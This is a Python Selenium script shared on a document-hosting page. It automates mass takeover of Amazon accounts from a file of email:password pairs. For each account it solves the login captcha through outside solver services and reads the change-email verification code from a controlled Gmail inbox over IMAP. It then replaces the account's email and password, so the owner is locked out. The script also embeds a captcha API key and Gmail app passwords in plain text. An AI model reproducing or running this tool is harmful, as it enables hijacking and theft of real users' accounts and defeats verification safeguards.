Message

Download as txt, pdf, or txt
Download as txt, pdf, or txt
You are on page 1of 6

from selenium import webdriver

from selenium.webdriver.common.by import By


from selenium.webdriver.chrome.options import Options as COpt
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.common.action_chains import ActionChains
from selenium.webdriver.common.keys import Keys
from twocaptcha import TwoCaptcha
import email
import email.parser
import imaplib
from colorama import init, Fore, Back, Style
import time , os, requests, base64
from amazoncaptcha import AmazonCaptcha
import traceback
init(autoreset=True)

with open("o.txt") as f:
api_key = f.readline().rstrip()
brsr = f.readline().rstrip()

def delet_line(file_name, line_number):


with open(file_name) as file :
lines = file.readlines()
del lines[line_number]
with open(file_name, 'w') as file:
for line in lines:
file.write(line)

def addToNote(file_name, type1):


file111 = open(file_name, "a")
file111.writelines(type1)
file111.writelines('\n')
file111.close()

def getErr():
print(ggf)

def solve(f):
with open(f, "rb") as image_file:
encoded_string = base64.b64encode(image_file.read()).decode('ascii')
url = 'https://api.apitruecaptcha.org/one/gettext'

data = {
'userid':'[email protected]',
'apikey':'vMIpJFNj6T6onYT5JdYt',
'data':encoded_string
}
response = requests.post(url = url, json = data)
data = response.json()
return data
def SignIn(cnt):
ccapcha(cnt)

print('>signing_Prime...')#signin to prime
WebDriverWait(driver, 10).until(EC.presence_of_element_located((
By.ID,'ap_email'))).send_keys(Amazon_mail)
try:driver.find_element(By.ID,"continue").click(); ccapcha(cnt)
except:pass
WebDriverWait(driver, 10).until(EC.presence_of_element_located((
By.ID,'ap_password'))).send_keys(Amazon_password)
driver.find_element(By.ID,'signInSubmit').click()

ccapcha(cnt)

for cptcha in range(1,4):


time.sleep(0.5)
if "Account locked" in driver.page_source:getErr()
if "We cannot find an account with that email address" in
driver.page_source:getErr()
try:img =
driver.find_element(By.CSS_SELECTOR,'[alt="captcha"]').screenshot("cpt.png")
except:break
code = solve("cpt.png")["result"].replace('q', 'g')
print("cpt: "+code)
try:driver.find_element(By.ID,'ap_password').send_keys(Amazon_password)
except:pass
try:driver.find_element(By.ID, 'auth-captcha-
guess').send_keys(code+Keys.ENTER); time.sleep(0.5)
except:driver.find_element(By.XPATH,
'//*[@id="cvf-page-content"]/div/div/div/form/div[2]/input').send_keys(code+Keys.EN
TER); time.sleep(0.5)
# driver.find_element(By.ID,'signInSubmit').click()
ccapcha(cnt)

def ccapcha(web):
while True :
time.sleep(0.5)
if driver.title == f"Amazon.{web}":
driver.execute_script("window.location.reload();")
continue
break

def Con_Email(Mail,Password):
EMAIL = Mail
PASSWORD = Password
SERVER = 'imap.gmail.com'
PORT = 993
mail = imaplib.IMAP4_SSL(SERVER,PORT)
mail.login(EMAIL, PASSWORD)
return mail

def Get_MESG(mail,gmail):
mail.select('inbox')
typ,data= mail.search(None, 'TO', f'"{gmail}"')
my_string = data[0].decode('utf-8')
numbers = [int(num) for num in my_string.split()]
email_id = numbers[-1]

result , email_data = mail.fetch(f"{email_id}",'(RFC822)')


raw_email = email_data[0][1]
raw_email_str = raw_email.decode('utf-8')
email_mes = email.message_from_string(raw_email_str)
# print('To : '+email_mes['to'])
# print('From : '+email_mes['From'])
otp = str(email_mes)
n = otp.find('<p class=3D"otp">') + 17
otpcode = otp[n:n+6]
# print(otpcode)
return otpcode

amazon_File_Name = './Inputs/amazon.txt'
gmail_File_Name = './Inputs/gmail.txt'

chrome_options = webdriver.ChromeOptions()
chrome_options.add_argument("--incognito")
chrome_options.add_argument("--window-size=620,1040")
chrome_options.add_argument(f"--window-position={1920-620},0")
# chrome_options.add_argument('--blink-settings=imagesEnabled=false')
chrome_options.add_argument("--disable-notifications")
chrome_options.add_argument("--disable-infobars")
chrome_options.add_experimental_option("excludeSwitches", ["enable-logging"])
# chrome_options.add_experimental_option("useAutomationExtension", False)
# chrome_options.add_experimental_option("excludeSwitches", ["enable-automation"])
# chrome_options.add_argument("--headless")

N = 0
D = 0
E = 0

# EMAIL = "[email protected]"
# PASSWORD = "pgqk mhne osrq agvk"
# SERVER = 'imap.gmail.com'
# PORT = 993
# mail = imaplib.IMAP4_SSL(SERVER,PORT)
# mail.login(EMAIL, PASSWORD)

# mail.select('inbox')
# typ,data= mail.search(None, 'TO', f'"{EMAIL}"')

# my_string = data[0].decode('utf-8')
# numbers = [int(num) for num in my_string.split()]
# email_id = numbers[-1]
# print(typ)
# print(data)
# print(data[0][0])
# print(email_id); input()
# result , email_data = mail.fetch(f"{email_id}",'(RFC822)')
# raw_email = email_data[0][1]
# raw_email_str = raw_email.decode('utf-8')
# email_mes = email.message_from_string(raw_email_str)
# # print('To : '+email_mes['to'])
# # print('From : '+email_mes['From'])
# otp = str(email_mes)
# n = otp.find('<p class=3D"otp">') + 17
# otpcode = otp[n:n+6]
# print(otpcode)

# input()

# [email protected]
# sogqfkmhjqqqsvfi
# [email protected]
# YoupiGG123
while True:
mlml = Con_Email("[email protected]","pgqk mhne osrq agvk")
N+=1
try:
try:
amazon_File = open(amazon_File_Name, "r+")
A_acc = amazon_File.readline().rstrip('\n')
try:Amazon_mail,Amazon_password = A_acc.split(":")
except:Amazon_mail,Amazon_password = A_acc,A_acc
if A_acc == ' ' or A_acc == '':print(gggfg)

gmail_File = open(gmail_File_Name, "r+")


G_acc = gmail_File.readline().rstrip('\n')
try:Gmail_mail,Gmail_password = G_acc.split(":")
except:Gmail_mail,Gmail_password = G_acc,G_acc
if G_acc == ' ' or G_acc == '':print(gggfg)

except:
print('[BOT]:Finshed')
print(Style.BRIGHT + Fore.GREEN+'['+str(D)+']'+' Done')
print(Style.BRIGHT + Fore.RED+'['+str(E)+']'+' Errs')
input('press enter to exit')
break

os.system('cls')
print(Style.BRIGHT + Fore.MAGENTA+'['+str(N)+']'+ Style.BRIGHT +
Fore.YELLOW +' ' +Amazon_mail +Style.BRIGHT + Fore.GREEN+ " >>> " +Style.BRIGHT +
Fore.CYAN + Gmail_mail)
print(Style.BRIGHT + Fore.GREEN+'['+str(D)+']'+' Done')
print(Style.BRIGHT + Fore.RED+'['+str(E)+']'+' Errs')

driver = webdriver.Chrome(options=chrome_options)
driver.get("https://www.amazon.com/ap/cnep?openid.return_to=https%3A%2F
%2Fwww.amazon.com%2Fyour-account&openid.identity=http%3A%2F%2Fspecs.openid.net
%2Fauth
%2F2.0%2Fidentifier_select&openid.assoc_handle=usflex&openid.mode=checkid_setup&ope
nid.ns.pape=http%3A%2F%2Fspecs.openid.net%2Fextensions%2Fpape
%2F1.0&openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth
%2F2.0%2Fidentifier_select&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0")

SignIn("com")

try:
WebDriverWait(driver, 2).until(EC.presence_of_element_located((
By.ID,'ap-account-fixup-phone-skip-link'))).click()
except:pass

while True:
try:
lok =
driver.find_element(By.XPATH,'//*[@id="EMAIL_BUTTON"]/span/a').get_attribute("href"
)
driver.get(lok); break
except:pass
try:
driver.find_element(By.ID,'auth-cnep-edit-email-button').click()
break
except:pass

WebDriverWait(driver, 60).until(EC.presence_of_element_located((
By.NAME,'cvf_email'))).send_keys(Gmail_mail)
time.sleep(0.1)
driver.find_element(By.NAME,"cvf_action").click()
time.sleep(0.1)

while True:
while True:
try:otp = Get_MESG(mlml,Gmail_mail); break
except:time.sleep(0.5)

WebDriverWait(driver, 60).until(EC.presence_of_element_located((
By.NAME,'code'))).send_keys(otp)
time.sleep(0.1)
driver.find_element(By.NAME,"cvf_action").click()

time.sleep(0.5)
try:driver.find_element(By.NAME,"code"); continue
except:pass
break

WebDriverWait(driver, 60).until(EC.presence_of_element_located((
By.NAME,'password'))).send_keys(Amazon_password)
time.sleep(0.1)
driver.find_element(By.ID,"cnep_1B_submit_button").click()

#password
while True:
try:
lokk =
driver.find_element(By.XPATH,'//*[@id="PASSWORD_BUTTON"]/span/a').get_attribute("hr
ef")
driver.get(lokk)
break
except:pass
try:
driver.find_element(By.ID,'auth-cnep-edit-password-button').click()
break
except:pass

WebDriverWait(driver, 60).until(EC.presence_of_element_located((
By.NAME,'password'))).send_keys(Amazon_password)
WebDriverWait(driver, 60).until(EC.presence_of_element_located((
By.NAME,'passwordNew'))).send_keys(Gmail_mail)
WebDriverWait(driver, 60).until(EC.presence_of_element_located((
By.NAME,'passwordNewCheck'))).send_keys(Gmail_mail)
time.sleep(0.1)

driver.find_element(By.ID,"cnep_1D_submit_button").click()

addToNote("./Results/done.txt",Gmail_mail)
delet_line(amazon_File_Name,0)
delet_line(gmail_File_Name,0)
print("DNNNNNN")
D+=1
except:
# traceback.print_exc()
# input("ff")
delet_line(amazon_File_Name,0)
delet_line(gmail_File_Name,0)
E+=1
driver.quit()

You might also like